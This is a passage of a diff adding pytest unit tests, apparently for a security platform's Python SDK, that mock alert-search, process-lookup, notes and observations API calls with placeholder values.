["WATCHLIST"]).add_criteria("device_id", ["6023"]) \ + .add_criteria("device_name", ["HAL"]).add_criteria("device_os", ["LINUX"]) \ + .add_criteria("device_os_version", ["0.1.2"]) \ + .add_criteria("device_username", ["JRN"]).add_criteria("id", ["S0L0"]) \ + .add_criteria("severity", "6").add_criteria("device_policy_id", ["8675309"]) \ + .add_criteria("device_policy", ["Strict"]).add_criteria("process_name", ["IEXPLORE.EXE"]) \ + .add_criteria("process_sha256", ["0123456789ABCDEF0123456789ABCDEF"]) \ + .add_criteria("process_reputation", ["SUSPECT_MALWARE"]) \ + .add_criteria("netconn_remote_ip", ["10.29.99.1"]).add_criteria("netconn_remote_domain", ["example.com"]) \ + .add_criteria("netconn_protocol", ["TCP"]).add_criteria("netconn_local_port", ["12345"]) \ + .add_criteria("netconn_remote_port", ["54321"]) \ + .add_criteria("device_target_value", ["HIGH"]).add_criteria("threat_id", ["B0RG"]) \ + .add_criteria("workflow_status", ["OPEN"]).add_criteria("watchlists_id", ["100"]).add_criteria( + "watchlists_name", ["Gandalf"]) \ + .add_criteria("childproc_cmdline", ["/usr/bin/python"]) \ + .add_criteria("childproc_effective_reputation", ["PUP"]) \ + .add_criteria("childproc_guid", ["12345678"]).add_criteria("childproc_name", ["python"]).add_criteria( + "childproc_sha256", ["sha256_child"]) \ + .add_criteria("childproc_username", ["steven"]) \ + .add_criteria("parent_cmdline", ["/usr/bin/python"]).add_criteria("parent_effective_reputation", ["PUP"]) \ + .add_criteria("parent_guid", ["12345678"]).add_criteria("parent_name", ["python"]) \ + .add_criteria("parent_sha256", ["sha256_parent"]) \ + .add_criteria("parent_username", ["steven"]) \ + .add_criteria("process_cmdline", ["/usr/bin/python"]).add_criteria("process_effective_reputation", ["PUP"]) \ + .add_criteria("process_guid", ["12345678"]).add_criteria("process_issuer", ["Microsoft"]).add_criteria( + "process_publisher", ["Microsoft"]) \ + .add_criteria("reason_code", ["XDF"]).add_criteria("report_id", [""]).add_criteria("report_link", + [""]).add_criteria( + "report_name", ["FinalReport"]) \ + .add_criteria("process_username", ["steven"]) \ + .sort_by("name", "DESC") + a = query.one() + assert a.id == "S0L0" + assert a.org_key == "test" + assert a.threat_id == "B0RG" + assert a.workflow["status"] == "OPEN" + + +def test_query_intrusion_detection_system_with_all_bells_and_whistles(cbcsdk_mock): + """Test a IDS alert query with all options selected.""" + + def on_post(url, body, **kwargs): + assert body == {"query": "Blort", + "rows": 2, + "criteria": {"device_id": ["6023"], "device_name": ["HAL"], + "device_os": ["LINUX"], "device_os_version": ["0.1.2"], + "device_username": ["JRN"], + "device_internal_ip": ["10.10.8.2"], "device_external_ip": ["10.10.10.55"], + "id": ["S0L0"], + "severity": ["6"], "device_policy_id": ["8675309"], + "device_policy": ["Strict"], "device_uem_id": ["uemId"], + "device_target_value": ["HIGH"], "threat_name": ["dangerous"], + "threat_id": ["B0RG"], "type": ["INTRUSION_DETECTION_SYSTEM"], + "policy_applied": ["APPLIED"], + "reason_code": ["ATTACK_VECTOR"], "run_state": ["RAN"], "sensor_action": ["DENY"], + "alert_notes_present": True, "attack_tactic": ["tactic"], + "attack_technique": ["technique"], "blocked_effective_reputation": ["NOT_LISTED"], + "blocked_md5": ["md5_hash"], "blocked_name": ["tim"], + "blocked_sha256": ["sha256_hash"], + "ttps": ["malicious"], "tms_rule_id": ["xtvr"], + "workflow_status": ["OPEN"], + "netconn_remote_ip": ["10.29.99.1"], "netconn_remote_domain": ["example.com"], + "netconn_protocol": ["TCP"], "netconn_remote_port": ["54321"], + "netconn_local_port": ["12345"], + "childproc_cmdline": ["/usr/bin/python"], + "childproc_effective_reputation": ["PUP"], + "childproc_guid": ["12345678"], "childproc_name": ["python"], + "childproc_sha256": ["sha256_child"], "childproc_username": ["steven"], + "primary_event_id": ["123456"], + "parent_cmdline": ["/usr/bin/python"], + "parent_effective_reputation": ["PUP"], + "parent_guid": ["12345678"], "parent_name": ["python"], + "parent_sha256": ["sha256_parent"], "parent_username": ["steven"], + "process_cmdline": ["/usr/bin/python"], + "process_effective_reputation": ["PUP"], + "process_guid": ["12345678"], "process_name": ["IEXPLORE.EXE"], + "process_sha256": ["0123456789ABCDEF0123456789ABCDEF"], + "process_username": ["steven"], + "process_reputation": ["SUSPECT_MALWARE"], + "process_issuer": ["Microsoft"], "process_publisher": ["Microsoft"]}, + "sort": [{"field": "severity", "order": "DESC"}]} + return {"results": [{"id": "S0L0", "org_key": "test", "threat_id": "B0RG", + "workflow": {"status": "OPEN"}}], "num_found": 1} + + cbcsdk_mock.mock_request("POST", "/api/alerts/v7/orgs/test/alerts/_search", on_post) + api = cbcsdk_mock.api + + query = api.select(Alert).where("Blort").add_criteria("type", ["INTRUSION_DETECTION_SYSTEM"])\ + .add_criteria("device_id", ["6023"]) \ + .add_criteria("device_name", ["HAL"]).add_criteria("device_os", ["LINUX"]) \ + .add_criteria("device_os_version", ["0.1.2"]).add_criteria("device_internal_ip", ["10.10.8.2"]) \ + .add_criteria("device_username", ["JRN"]).add_criteria("id", ["S0L0"])\ + .add_criteria("device_external_ip", ["10.10.10.55"]).add_criteria("device_uem_id", ["uemId"]) \ + .add_criteria("severity", "6").add_criteria("device_policy_id", ["8675309"]) \ + .add_criteria("device_policy", ["Strict"]).add_criteria("process_name", ["IEXPLORE.EXE"]) \ + .add_criteria("process_sha256", ["0123456789ABCDEF0123456789ABCDEF"]) \ + .add_criteria("process_reputation", ["SUSPECT_MALWARE"]) \ + .add_criteria("netconn_remote_ip", ["10.29.99.1"]).add_criteria("netconn_remote_domain", ["example.com"]) \ + .add_criteria("netconn_protocol", ["TCP"]).add_criteria("netconn_local_port", ["12345"]) \ + .add_criteria("netconn_remote_port", ["54321"]) \ + .add_criteria("policy_applied", ["APPLIED"]).add_criteria("reason_code", ["ATTACK_VECTOR"]).add_criteria( + "run_state", ["RAN"]) \ + .add_criteria("device_target_value", ["HIGH"]).add_criteria("threat_id", ["B0RG"]) \ + .add_criteria("threat_name", ["dangerous"]).set_alert_notes_present(True) \ + .add_criteria("attack_tactic", ["tactic"]).add_criteria("attack_technique", ["technique"]) \ + .add_criteria("workflow_status", ["OPEN"]).add_criteria("blocked_effective_reputation", ["NOT_LISTED"]).\ + add_criteria("blocked_md5", ["md5_hash"]).add_criteria("blocked_name", ["tim"]) \ + .add_criteria("blocked_sha256", ["sha256_hash"]) \ + .add_criteria("childproc_cmdline", ["/usr/bin/python"]).add_criteria("primary_event_id", ["123456"]) \ + .add_criteria("childproc_effective_reputation", ["PUP"]) \ + .add_criteria("childproc_guid", ["12345678"]).add_criteria("childproc_name", ["python"]).add_criteria( + "childproc_sha256", ["sha256_child"]) \ + .add_criteria("childproc_username", ["steven"]) \ + .add_criteria("parent_cmdline", ["/usr/bin/python"]).add_criteria("parent_effective_reputation", ["PUP"]) \ + .add_criteria("parent_guid", ["12345678"]).add_criteria("parent_name", ["python"]) \ + .add_criteria("parent_sha256", ["sha256_parent"]) \ + .add_criteria("parent_username", ["steven"]) \ + .add_criteria("process_cmdline", ["/usr/bin/python"]).add_criteria("process_effective_reputation", ["PUP"]) \ + .add_criteria("process_guid", ["12345678"]).add_criteria("process_issuer", ["Microsoft"]).add_criteria( + "process_publisher", ["Microsoft"]) \ + .add_criteria("reason_code", ["ATTACK_VECTOR"]).add_criteria("sensor_action", ["DENY"])\ + .add_criteria("process_username", ["steven"]) \ + .add_criteria("ttps", ["malicious"]).add_criteria("tms_rule_id", ["xtvr"]) \ + .sort_by("severity", "DESC") + a = query.one() + assert a.id == "S0L0" + assert a.org_key == "test" + assert a.threat_id == "B0RG" + assert a.workflow["status"] == "OPEN" + + +def test_query_containeralert_with_all_bells_and_whistles(cbcsdk_mock): + """Test a container alert query with all options selected.""" + + def on_post(url, body, **kwargs): + assert body == {"query": "Blort", + "rows": 2, + "criteria": {"k8s_cluster": ["TURTLE"], "type": ["CONTAINER_RUNTIME"], "k8s_namespace": ["RG"], + "k8s_workload_kind": ["Job"], "k8s_policy": [""], "k8s_policy_id": [""], + "k8s_workload_name": ["BUNNY"], "k8s_pod_name": ["FAKE"], + "netconn_remote_ip": ["10.29.99.1"], "netconn_remote_domain": ["example.com"], + "netconn_protocol": ["TCP"], + "netconn_remote_port": ["54321"], "netconn_local_port": ["12345"], + "egress_group_id": ["5150"], "egress_group_name": ["EGRET"], + "ip_reputation": ["75"], "k8s_rule_id": ["66"], "k8s_rule": ["KITTEH"], + "remote_k8s_kind": [""], "remote_k8s_namespace": [""], "remote_k8s_pod_name": [""], + "remote_k8s_workload_name": [""]}, + "sort": [{"field": "name", "order": "DESC"}]} + return {"results": [{"id": "S0L0", "org_key": "test", "threat_id": "B0RG", + "workflow": {"status": "OPEN"}}], "num_found": 1} + + cbcsdk_mock.mock_request("POST", "/api/alerts/v7/orgs/test/alerts/_search", on_post) + api = cbcsdk_mock.api + + query = api.select(ContainerRuntimeAlert).where("Blort").add_criteria("k8s_cluster", ["TURTLE"]) \ + .add_criteria("k8s_namespace", ["RG"]).add_criteria("k8s_rule_id", ["66"]) \ + .add_criteria("k8s_rule", ["KITTEH"]) \ + .add_criteria("k8s_policy_id", [""]).add_criteria("k8s_policy", [""]).add_criteria("k8s_pod_name", ["FAKE"]) \ + .add_criteria("k8s_workload_kind", ["Job"]).add_criteria("k8s_workload_name", ["BUNNY"]) \ + .add_criteria("netconn_remote_ip", ["10.29.99.1"]).add_criteria("netconn_remote_domain", ["example.com"]) \ + .add_criteria("netconn_protocol", ["TCP"]).add_criteria("netconn_local_port", ["12345"]).add_criteria( + "netconn_remote_port", ["54321"]) \ + .add_criteria("remote_k8s_namespace", [""]).add_criteria("remote_k8s_pod_name", [""]).add_criteria( + "remote_k8s_kind", [""]) \ + .add_criteria("remote_k8s_workload_name", [""]) \ + .add_criteria("egress_group_id", ["5150"]).add_criteria("egress_group_name", ["EGRET"]) \ + .add_criteria("ip_reputation", ["75"]).sort_by("name", "DESC") + + a = query.one() + assert a.id == "S0L0" + assert a.org_key == "test" + assert a.threat_id == "B0RG" + assert a.workflow["status"] == "OPEN" + + +def test_query_set_rows(cbcsdk_mock): + """Test alert query with set rows.""" + + def on_post(url, body, **kwargs): + assert body == {"query": "Blort", + "rows": 10000, + "sort": [{"field": "name", "order": "DESC"}]} + return {"results": [{"id": "S0L0", "org_key": "test", "threat_id": "B0RG", + "workflow": {"state": "OPEN"}}], "num_found": 1} + + cbcsdk_mock.mock_request("POST", "/api/alerts/v7/orgs/test/alerts/_search", on_post) + api = cbcsdk_mock.api + + query = api.select(Alert).where("Blort").sort_by("name", "DESC").set_rows(10000) + for a in query: + assert a.id == "S0L0" + assert a.org_key == "test" + assert a.threat_id == "B0RG" + + +def test_get_process(cbcsdk_mock): + """Test of getting process through a WatchlistAlert""" + def on_validation_post(url, body, **kwargs): + assert body == {"query": "process_guid:ABC12345\\-000309c2\\-00000478\\-00000000\\-1d6a1c1f2b02805"} + return POST_PROCESS_VALIDATION_RESP + # mock the alert request + cbcsdk_mock.mock_request("GET", "/api/alerts/v7/orgs/test/alerts/887e6bbc-6224-4f36-ad37-084038b7fcab", + GET_ALERT_TYPE_WATCHLIST) + # mock the search validation + cbcsdk_mock.mock_request("POST", "/api/investigate/v2/orgs/test/processes/search_validation", on_validation_post) + # mock the POST of a search + cbcsdk_mock.mock_request("POST", "/api/investigate/v2/orgs/test/processes/search_jobs", + POST_PROCESS_SEARCH_JOB_RESP) + # mock the GET to check search status + cbcsdk_mock.mock_request("GET", ("/api/investigate/v2/orgs/test/processes/" + "search_jobs/2c292717-80ed-4f0d-845f-779e09470920/results?start=0&rows=0"), + GET_PROCESS_SEARCH_JOB_RESP) + # mock the GET to get search results + cbcsdk_mock.mock_request("GET", ("/api/investigate/v2/orgs/test/processes/search_jobs/" + "2c292717-80ed-4f0d-845f-779e09470920/results?start=0&rows=500"), + GET_PROCESS_SEARCH_JOB_RESULTS_RESP_WATCHLIST_ALERT_V7) + api = cbcsdk_mock.api + alert = api.select(WatchlistAlert, "887e6bbc-6224-4f36-ad37-084038b7fcab") + process = alert.get_process() + assert isinstance(process, Process) + assert process.process_guid == "ABC12345-0002b226-000015bd-00000000-1d6225bbba74c00" + + +def test_get_process_zero_found(cbcsdk_mock): + """Test of getting process through a WatchlistAlert""" + # mock the alert request + cbcsdk_mock.mock_request("GET", "/api/alerts/v7/orgs/test/alerts/86123310980efd0b38111eba4bfa5e98aa30b19", + GET_ALERT_TYPE_WATCHLIST) + + def on_validation_post(url, body, **kwargs): + assert body == {"query": "process_guid:ABC12345\\-000309c2\\-00000478\\-00000000\\-1d6a1c1f2b02805"} + return POST_PROCESS_VALIDATION_RESP + # mock the search validation + cbcsdk_mock.mock_request("POST", "/api/investigate/v2/orgs/test/processes/search_validation", on_validation_post) + # mock the POST of a search + cbcsdk_mock.mock_request("POST", "/api/investigate/v2/orgs/test/processes/search_jobs", + POST_PROCESS_SEARCH_JOB_RESP) + # mock the GET to get process search results + cbcsdk_mock.mock_request("GET", ("/api/investigate/v2/orgs/test/processes/" + "search_jobs/2c292717-80ed-4f0d-845f-779e09470920/results?start=0&rows=0"), + GET_PROCESS_NOT_FOUND) + # mock the GET to get process search results + cbcsdk_mock.mock_request("GET", ("/api/investigate/v2/orgs/test/processes/" + "search_jobs/2c292717-80ed-4f0d-845f-779e09470920/results?start=0&rows=500"), + GET_PROCESS_NOT_FOUND) + api = cbcsdk_mock.api + alert = api.select(WatchlistAlert, "86123310980efd0b38111eba4bfa5e98aa30b19") + process = alert.get_process() + assert not process + + +def test_get_process_raises_api_error(cbcsdk_mock): + """Test of getting process through a WatchlistAlert""" + # mock the alert request + cbcsdk_mock.mock_request("GET", "/api/alerts/v7/orgs/test/alerts/887e6bbc-6224-4f36-ad37-084038b7fcab", + GET_ALERT_TYPE_WATCHLIST_INVALID) + # mock the search validation + cbcsdk_mock.mock_request("POST", "/api/investigate/v2/orgs/test/processes/search_validation", + POST_PROCESS_VALIDATION_RESP) + # mock the POST of a search + cbcsdk_mock.mock_request("POST", "/api/investigate/v2/orgs/test/processes/search_jobs", + POST_PROCESS_SEARCH_JOB_RESP) + # mock the GET to check search status + cbcsdk_mock.mock_request("GET", ("/api/investigate/v1/orgs/test/processes/" + "search_jobs/2c292717-80ed-4f0d-845f-779e09470920/results?start=0&rows=0"), + GET_PROCESS_SEARCH_JOB_RESP) + # mock the GET to get search results + cbcsdk_mock.mock_request("GET", ("/api/investigate/v2/orgs/test/processes/search_jobs/" + "2c292717-80ed-4f0d-845f-779e09470920/results?start=0&rows=500"), + GET_PROCESS_SEARCH_JOB_RESULTS_RESP) + api = cbcsdk_mock.api + with pytest.raises(ApiError): + alert = api.select(WatchlistAlert, "887e6bbc-6224-4f36-ad37-084038b7fcab") + alert.get_process() + + +def test_get_process_async(cbcsdk_mock): + """Test of getting process through a WatchlistAlert async""" + # mock the alert request + cbcsdk_mock.mock_request("GET", "/api/alerts/v7/orgs/test/alerts/887e6bbc-6224-4f36-ad37-084038b7fcab", + GET_ALERT_TYPE_WATCHLIST) + # mock the search validation + cbcsdk_mock.mock_request("POST", "/api/investigate/v2/orgs/test/processes/search_validation", + POST_PROCESS_VALIDATION_RESP) + # mock the POST of a search + cbcsdk_mock.mock_request("POST", "/api/investigate/v2/orgs/test/processes/search_jobs", + POST_PROCESS_SEARCH_JOB_RESP) + # mock the GET to check search status + cbcsdk_mock.mock_request("GET", ("/api/investigate/v2/orgs/test/processes/" + "search_jobs/2c292717-80ed-4f0d-845f-779e09470920/results?start=0&rows=0"), + GET_PROCESS_SEARCH_JOB_RESP) + # mock the GET to get search results + cbcsdk_mock.mock_request("GET", ("/api/investigate/v2/orgs/test/processes/search_jobs/" + "2c292717-80ed-4f0d-845f-779e09470920/results?start=0&rows=500"), + GET_PROCESS_SEARCH_JOB_RESULTS_RESP_WATCHLIST_ALERT_V7) + # mock the POST of a summary search (using same Job ID) + cbcsdk_mock.mock_request("POST", "/api/investigate/v2/orgs/test/processes/summary_jobs", + POST_PROCESS_SEARCH_JOB_RESP) + # mock the GET to get summary search results + cbcsdk_mock.mock_request("GET", ("/api/investigate/v2/orgs/test/processes/" + "summary_jobs/2c292717-80ed-4f0d-845f-779e09470920/results"), + GET_PROCESS_SUMMARY_STR) + api = cbcsdk_mock.api + alert = api.select(WatchlistAlert, "887e6bbc-6224-4f36-ad37-084038b7fcab") + process = alert.get_process(async_mode=True).result() + assert isinstance(process, Process) + assert process.process_guid == "ABC12345-0002b226-000015bd-00000000-1d6225bbba74c00" + + +# TODO enriched_event tests to be replaced with observations tests + + +def test_query_alert_with_time_range_errors(cbcsdk_mock): + """Test exceptions in alert query""" + api = cbcsdk_mock.api + with pytest.raises(ApiError) as ex: + api.select(Alert).where("Blort").add_time_criteria("invalid", range="whatever") + assert "key must be one of backend_update_timestamp, detection_timestamp, " \ + "first_event_timestamp, last_event_timestamp, mdr_determination_change_timestamp, " \ + "mdr_workflow_change_timestamp, user_update_timestamp, or workflow_change_timestamp" in str(ex.value) + + with pytest.raises(ApiError) as ex: + api.select(Alert).where("Blort").add_time_criteria("backend_update_timestamp", + start="2019-09-30T12:34:56", + end="2019-10-01T12:00:12", + range="-3w") + assert "cannot specify range= in addition to start= and end=" in str(ex.value) + + with pytest.raises(ApiError) as ex: + api.select(Alert).where("Blort").add_time_criteria("backend_update_timestamp", + end="2019-10-01T12:00:12", + range="-3w") + assert "cannot specify start= or end= in addition to range=" in str(ex.value) + + with pytest.raises(ApiError) as ex: + api.select(Alert).where("Blort").add_time_criteria("backend_update_timestamp") + + assert "must specify either start= and end= or range=" in str(ex.value) + + +def test_query_alert_sort_error(cbcsdk_mock): + """Test an alert query with the invalid sort direction""" + api = cbcsdk_mock.api + with pytest.raises(ApiError) as ex: + api.select(Alert).where("Blort").sort_by("backend_timestamp", "bla") + assert "invalid sort direction specified" in str(ex.value) + + +def test_query_alert_facets_functionality_decommissioned_error(cbcsdk_mock): + """Test an alert facet query with invalid term.""" + cbcsdk_mock.mock_request("POST", + "/api/alerts/v7/orgs/test/alerts/_facet", + GET_ALERT_FACET_RESP_INVALID) + + api = cbcsdk_mock.api + query = api.select(Alert).where("Blort").set_workflows(["OPEN"]) + with pytest.raises(FunctionalityDecommissioned) as ex: + query.facets(["ALABALA", "STATUS"]) + assert "The Field 'STATUS' does is not a valid facet name because it was deprecated in Alerts v7. functionality " \ + "has been decommissioned." in str(ex.value) + + +def test_query_alert_facets_api_error(cbcsdk_mock): + """Test an alert facet query with invalid term.""" + cbcsdk_mock.mock_request("POST", + "/api/alerts/v7/orgs/test/alerts/_facet", + GET_ALERT_FACET_RESP_INVALID) + cbcsdk_mock.mocks["POST:/api/alerts/v7/orgs/test/alerts/_facet"].__setattr__("status_code", 400) + api = cbcsdk_mock.api + query = api.select(Alert).where("Blort").set_workflows(["OPEN"]) + with pytest.raises(ApiError) as ex: + query.facets(["jager"]) + assert "'error_code': 'INVALID_ENUM_VALUE'" in str(ex.value) + + +def test_get_notes_for_alert(cbcsdk_mock): + """Test retrieving notes for an alert""" + cbcsdk_mock.mock_request("GET", + "/api/alerts/v7/orgs/test/alerts/52dbd1b6-539b-a3f7-34bd-f6eb13a99b81", + GET_ALERT_RESP_WITH_NOTES) + + cbcsdk_mock.mock_request("GET", + "/api/alerts/v7/orgs/test/alerts/52dbd1b6-539b-a3f7-34bd-f6eb13a99b81/notes", + GET_ALERT_NOTES) + + api = cbcsdk_mock.api + alert = api.select(Alert, "52dbd1b6-539b-a3f7-34bd-f6eb13a99b81") + notes = alert.notes_() + assert len(notes) == 2 + assert notes[0].author == "Grogu" + assert notes[0].id == "3gsgsfds" + assert notes[0].create_timestamp == "2023-04-18T03:25:44.397Z" + assert notes[0].last_update_timestamp == "2023-04-18T03:25:44.397Z" + assert notes[0].note == "I am Grogu" + assert notes[0].source == "CUSTOMER" + + +def test_base_alert_create_note(cbcsdk_mock): + """Test creating a new note on an alert""" + + def on_post(url, body, **kwargs): + body == {"note": "I am Grogu"} + return CREATE_ALERT_NOTE_RESP + + cbcsdk_mock.mock_request("GET", + "/api/alerts/v7/orgs/test/alerts/52dbd1b6-539b-a3f7-34bd-f6eb13a99b81", + GET_ALERT_RESP_WITH_NOTES) + + cbcsdk_mock.mock_request("POST", + "/api/alerts/v7/orgs/test/alerts/52dbd1b6-539b-a3f7-34bd-f6eb13a99b81/notes", + on_post) + + api = cbcsdk_mock.api + alert = api.select(Alert, "52dbd1b6-539b-a3f7-34bd-f6eb13a99b81") + note = alert.create_note("I am Grogu") + assert note.note == "I am Grogu" + + +def test_base_alert_delete_note(cbcsdk_mock): + """Test deleting a note from an alert""" + cbcsdk_mock.mock_request("GET", + "/api/alerts/v7/orgs/test/alerts/52dbd1b6-539b-a3f7-34bd-f6eb13a99b81", + GET_ALERT_RESP_WITH_NOTES) + + cbcsdk_mock.mock_request("GET", + "/api/alerts/v7/orgs/test/alerts/52dbd1b6-539b-a3f7-34bd-f6eb13a99b81/notes", + GET_ALERT_NOTES) + + cbcsdk_mock.mock_request("DELETE", + "/api/alerts/v7/orgs/test/alerts/52dbd1b6-539b-a3f7-34bd-f6eb13a99b81/notes/3gsgsfds", + None) + + api = cbcsdk_mock.api + alert = api.select(Alert, "52dbd1b6-539b-a3f7-34bd-f6eb13a99b81") + notes = alert.notes_() + notes[0].delete() + assert notes[0]._is_deleted + + +def test_base_alert_unsupported_query_notes(cbcsdk_mock): + """Testing that error is thrown when querying notes directly""" + with pytest.raises(NonQueryableModel): + api = cbcsdk_mock.api + api.select(Alert.Note) + + +def test_base_alert_refresh_note(cbcsdk_mock): + """Testing single note refresh""" + cbcsdk_mock.mock_request("GET", + "/api/alerts/v7/orgs/test/alerts/52dbd1b6-539b-a3f7-34bd-f6eb13a99b81", + GET_ALERT_RESP_WITH_NOTES) + + cbcsdk_mock.mock_request("GET", + "/api/alerts/v7/orgs/test/alerts/52dbd1b6-539b-a3f7-34bd-f6eb13a99b81/notes", + GET_ALERT_NOTES) + + api = cbcsdk_mock.api + alert = api.select(Alert, "52dbd1b6-539b-a3f7-34bd-f6eb13a99b81") + notes = alert.notes_() + assert notes[0]._refresh() is True + + +def test_get_threat_notes_for_alert(cbcsdk_mock): + """Test retrieving threat notes for an alert""" + cbcsdk_mock.mock_request("GET", + "/api/alerts/v7/orgs/test/alerts/52dbd1b6-539b-a3f7-34bd-f6eb13a99b81", + GET_ALERT_RESP_WITH_NOTES) + + cbcsdk_mock.mock_request("GET", + "/api/alerts/v7/orgs/test/threats/" + "78de82d612a7d3d4a6caffa4ce7e7bb718e23d926dcd9a5047f6e9f129279d44/notes", + GET_ALERT_NOTES) + + api = cbcsdk_mock.api + alert = api.select(Alert, "52dbd1b6-539b-a3f7-34bd-f6eb13a99b81") + notes = alert.notes_(threat_note=True) + assert len(notes) == 2 + assert notes[0].author == "Grogu" + assert notes[0].id == "3gsgsfds" + assert notes[0].create_timestamp == "2023-04-18T03:25:44.397Z" + assert notes[0].last_update_timestamp == "2023-04-18T03:25:44.397Z" + assert notes[0].note == "I am Grogu" + assert notes[0].source == "CUSTOMER" + + +def test_base_alert_create_threat_note(cbcsdk_mock): + """Test creating a new threat note on an alert""" + + def on_post(url, body, **kwargs): + body == {"note": "I am Grogu"} + return CREATE_ALERT_NOTE_RESP + + cbcsdk_mock.mock_request("GET", + "/api/alerts/v7/orgs/test/alerts/52dbd1b6-539b-a3f7-34bd-f6eb13a99b81", + GET_ALERT_RESP_WITH_NOTES) + + cbcsdk_mock.mock_request("POST", + "/api/alerts/v7/orgs/test/threats/" + "78de82d612a7d3d4a6caffa4ce7e7bb718e23d926dcd9a5047f6e9f129279d44/notes", + on_post) + + api = cbcsdk_mock.api + alert = api.select(Alert, "52dbd1b6-539b-a3f7-34bd-f6eb13a99b81") + note = alert.create_note("I am Grogu", threat_note=True) + assert note.note == "I am Grogu" + + +def test_base_alert_delete_threat_note(cbcsdk_mock): + """Test deleting a note from an alert""" + cbcsdk_mock.mock_request("GET", + "/api/alerts/v7/orgs/test/alerts/52dbd1b6-539b-a3f7-34bd-f6eb13a99b81", + GET_ALERT_RESP_WITH_NOTES) + + cbcsdk_mock.mock_request("GET", + "/api/alerts/v7/orgs/test/threats/" + "78de82d612a7d3d4a6caffa4ce7e7bb718e23d926dcd9a5047f6e9f129279d44/notes", + GET_ALERT_NOTES) + + cbcsdk_mock.mock_request("DELETE", + "/api/alerts/v7/orgs/test/threats/" + "78de82d612a7d3d4a6caffa4ce7e7bb718e23d926dcd9a5047f6e9f129279d44/notes/3gsgsfds", + None) + + api = cbcsdk_mock.api + alert = api.select(Alert, "52dbd1b6-539b-a3f7-34bd-f6eb13a99b81") + notes = alert.notes_(threat_note=True) + notes[0].delete() + assert notes[0]._is_deleted + + +def test_base_alert_refresh_threat_note(cbcsdk_mock): + """Testing single note refresh""" + cbcsdk_mock.mock_request("GET", + "/api/alerts/v7/orgs/test/alerts/52dbd1b6-539b-a3f7-34bd-f6eb13a99b81", + GET_ALERT_RESP_WITH_NOTES) + + cbcsdk_mock.mock_request("GET", + "/api/alerts/v7/orgs/test/threats/" + "78de82d612a7d3d4a6caffa4ce7e7bb718e23d926dcd9a5047f6e9f129279d44/notes", + GET_ALERT_NOTES) + + api = cbcsdk_mock.api + alert = api.select(Alert, "52dbd1b6-539b-a3f7-34bd-f6eb13a99b81") + notes = alert.notes_(threat_note=True) + assert notes[0]._refresh() is True + + +def test_alert_search_suggestions(cbcsdk_mock): + """Tests getting alert search suggestions""" + api = cbcsdk_mock.api + cbcsdk_mock.mock_request( + "GET", + "/api/alerts/v7/orgs/test/alerts/search_suggestions?suggest.q=", + ALERT_SEARCH_SUGGESTIONS_RESP, + ) + result = Alert.search_suggestions(api, "") + assert len(result) == 20 + + +def test_alert_search_suggestions_api_error(): + """Tests getting alert search suggestions - no CBCloudAPI arg""" + with pytest.raises(ApiError): + Alert.search_suggestions("", "") + + +def test_query_set_minimum_severity(cbcsdk_mock): + """Test a search setting minimum severity.""" + + def on_post(url, body, **kwargs): + assert body == { + "criteria": { + "minimum_severity": 3 + }, + "rows": 1 + } + return {"results": [{"id": "S0L0", "org_key": "test", "threat_id": "B0RG", + "workflow": {"status": "OPEN"}}], "num_found": 1} + + cbcsdk_mock.mock_request("POST", "/api/alerts/v7/orgs/test/alerts/_search", on_post) + api = cbcsdk_mock.api + + query = api.select(Alert).set_minimum_severity(3).set_rows(1) + len(query) + # no assertions, the check is that the post request is formed correctly. + + +def test_query_set_threat_notes_present(cbcsdk_mock): + """Test a search setting whether threat notes are present or not.""" + + def on_post(url, body, **kwargs): + assert body == { + "criteria": { + "threat_notes_present": False + }, + "rows": 1 + } + return {"results": [{"id": "S0L0", "org_key": "test", "threat_id": "B0RG", + "workflow": {"status": "OPEN"}}], "num_found": 1} + + cbcsdk_mock.mock_request("POST", "/api/alerts/v7/orgs/test/alerts/_search", on_post) + api = cbcsdk_mock.api + + query = api.select(Alert).set_threat_notes_present(False).set_rows(1) + len(query) + # no assertions, the check is that the post request is formed correctly. + + +def test_query_set_alert_notes_present(cbcsdk_mock): + """Test a search setting whether alert notes are present or not.""" + + def on_post(url, body, **kwargs): + assert body == { + "criteria": { + "alert_notes_present": False + }, + "rows": 1 + } + return {"results": [{"id": "S0L0", "org_key": "test", "threat_id": "B0RG", + "workflow": {"status": "OPEN"}}], "num_found": 1} + + cbcsdk_mock.mock_request("POST", "/api/alerts/v7/orgs/test/alerts/_search", on_post) + api = cbcsdk_mock.api + + query = api.select(Alert).set_alert_notes_present(False).set_rows(1) + len(query) + # no assertions, the check is that the post request is formed correctly. + + +def test_query_set_remote_is_private(cbcsdk_mock): + """Test a search setting whether remote_is_private is true or false.""" + + def on_post(url, body, **kwargs): + assert body == { + "criteria": { + "remote_is_private": True + }, + "rows": 1 + } + return {"results": [{"id": "S0L0", "org_key": "test", "threat_id": "B0RG", + "workflow": {"status": "OPEN"}}], "num_found": 1} + + cbcsdk_mock.mock_request("POST", "/api/alerts/v7/orgs/test/alerts/_search", on_post) + api = cbcsdk_mock.api + + query = api.select(Alert).set_remote_is_private(True).set_rows(1) + len(query) + # no assertions, the check is that the post request is formed correctly. + + +def test_get_observations(cbcsdk_mock): + """Test get_observations method.""" + cbcsdk_mock.mock_request("GET", + "/api/alerts/v7/orgs/test/alerts/12ab345cd6-e2d1-4118-8a8d-04f521ae66aa", + GET_ALERT_RESP) + cbcsdk_mock.mock_request( + "POST", + "/api/investigate/v2/orgs/test/observations/detail_jobs", + POST_OBSERVATIONS_SEARCH_JOB_RESP, + ) + cbcsdk_mock.mock_request( + "GET", + "/api/investigate/v2/orgs/test/observations/detail_jobs/08ffa932-b633-4107-ba56-8741e929e48b/results", + # noqa: E501 + GET_OBSERVATIONS_DETAIL_JOB_RESULTS_RESP, + ) + + api = cbcsdk_mock.api + alert = api.select(Alert, "12ab345cd6-e2d1-4118-8a8d-04f521ae66aa") + obs = alert.get_observations() + assert len(obs) == 1 + + +def test_get_observations_invalid(cbcsdk_mock): + """Test get_observations method with invalid alert id.""" + def on_post(url, body, **kwargs): + return {"results": [{"id": "", "org_key": "invalid_alert"}], "num_found": 1} + + cbcsdk_mock.mock_request("POST", "/api/alerts/v7/orgs/test/alerts/_search", on_post) + api = cbcsdk_mock.api + alert_list = api.select(Alert) + alert = alert_list.first() + with pytest.raises(ApiError): + alert.get_observations() + + +def test_get_observations_with_timeout(cbcsdk_mock): + """Test get_observations method.""" + cbcsdk_mock.mock_request("GET", + "/api/alerts/v7/orgs/test/alerts/86123310980efd0b38111eba4bfa5e98aa30b19", + GET_ALERT_RESP) + cbcsdk_mock.mock_request( + "POST", + "/api/investigate/v2/orgs/test/observations/detail_jobs", + POST_OBSERVATIONS_SEARCH_JOB_RESP, + ) 